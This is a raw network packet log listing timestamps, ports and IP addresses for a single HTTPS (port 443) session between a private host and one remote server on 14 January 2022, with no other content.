Jan 14, 2022 04:59:51.977160931 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.977206945 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.977230072 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.977267981 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.977497101 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.977535963 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.977587938 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.977603912 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.977618933 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.977662086 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.978059053 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.978097916 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.978156090 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.978168964 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.978193045 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.978528023 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.978565931 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.978620052 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.978638887 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.978689909 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.978698015 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.979001999 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.979038000 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.979098082 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.979113102 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.979135990 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.979168892 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.979486942 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.979525089 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.979584932 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.979598999 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:51.979646921 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:51.979657888 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.003609896 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.003662109 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.003807068 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.003849983 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.003873110 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.003956079 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.004122019 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.004160881 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.004216909 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.004231930 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.004249096 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.004620075 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.004656076 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.004714966 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.004740953 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.004755020 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.005121946 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.005156994 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.005218983 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.005234957 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.005255938 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.005289078 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.005628109 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.005681038 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.005743027 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.005755901 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.005769968 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.006182909 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.006220102 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.006280899 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.006299973 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.006311893 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.006680012 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.006716013 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.006800890 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.006822109 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.006834984 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.006879091 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.007174969 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.007251024 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.007268906 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.007282972 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.007335901 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.007348061 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.007633924 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.007673025 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.007726908 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.007739067 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.007755041 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.008104086 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.008141041 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.008199930 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.008227110 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.008238077 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.008294106 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.020215988 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.031918049 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.031943083 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.032130003 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.032170057 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.032218933 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.032248020 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.032258987 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.032283068 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.032315016 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.032325983 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.032366037 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.032591105 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.032627106 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.032677889 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.032692909 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.032711029 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.032927990 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.032999039 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.033035994 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.033087969 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.033101082 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.033126116 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.033145905 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.033375978 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.033412933 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.033468008 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.033482075 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.033495903 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.033790112 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.033824921 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.033901930 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.033920050 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.033925056 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.034004927 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.034156084 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.034193993 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.034238100 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.034277916 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.034291983 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.034348965 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.034524918 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.034559965 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.034630060 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.034645081 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.034661055 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.034715891 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.034950972 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.034991026 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.035054922 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.035068989 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.035083055 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.035415888 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.035463095 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.035522938 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.035536051 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.035552025 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.035886049 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.035923004 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.035983086 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.035999060 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.036011934 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.039946079 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.059859991 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.059910059 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.059979916 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.060022116 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.060040951 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.060105085 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.060338974 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.060379028 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.060439110 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.060453892 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.060470104 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.060529947 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.060880899 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.060919046 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.060971022 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.060985088 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.061001062 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.061100960 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.061362028 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.061400890 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.061455011 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.061470985 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.061491013 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.061636925 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.061898947 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.061935902 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.061989069 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.062004089 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.062019110 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.062056065 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.062417984 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.062490940 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.062513113 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.062527895 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.062568903 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.062581062 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.062907934 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.062947035 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.063008070 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.063020945 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.063064098 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.063076019 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.063393116 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.063462019 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.063488960 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.063503027 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.063533068 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.063555956 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.063893080 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.063929081 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.063987970 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.063999891 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.064022064 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.064372063 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.064408064 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.064462900 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.064476967 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.064491987 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.064846992 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.064883947 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.064928055 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.064944029 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.064958096 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.064995050 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.088810921 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.088850021 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.088929892 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.088973999 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.089009047 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.089061975 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.089313984 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.089351892 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.089411020 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.089425087 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.089441061 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.089806080 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.089881897 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.089888096 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.089905977 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.089907885 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.089963913 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.089998007 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.090303898 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.090339899 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.090410948 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.090428114 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.090441942 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.090780020 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.090818882 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.090857029 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.090873003 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.090888023 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.090920925 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.090926886 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.091305971 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.091344118 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.091403961 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.091419935 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.091435909 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.091768026 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.091840029 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.091859102 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.091872931 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.091922045 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.091953039 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.092246056 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.092281103 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.092336893 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.092354059 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.092366934 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.092726946 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.092794895 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.092814922 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.092829943 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.092875004 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.092906952 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.093202114 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.093238115 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.093307972 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.093324900 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.093337059 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.093698978 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.093766928 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.093790054 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.093802929 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.093843937 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.093883991 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.094192028 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.094228029 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.094286919 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.094304085 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.094316959 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.094732046 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.118465900 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.118504047 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.118609905 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.118654966 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.118678093 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.118761063 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.118987083 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.119036913 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.119102955 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.119121075 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.119134903 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.119187117 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.119484901 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.119523048 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.119585991 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.119600058 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.119616032 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.119692087 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.119970083 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.120007992 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.120062113 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.120075941 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.120090961 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.120486975 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.120522022 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.120568991 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.120585918 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.120598078 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.120640993 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.120978117 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.121026039 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.121100903 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.121118069 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.121133089 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.121495008 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.121565104 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.121582985 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.121598005 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.121648073 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.121675968 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.121989012 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.122025967 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.122085094 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.122102022 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.122114897 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.122473001 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.122510910 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.122555971 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.122569084 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.122586012 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.122626066 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.122988939 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.123025894 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.123085022 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.123097897 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.123116016 CET	49884	443	192.168.2.3	144.76.136.153
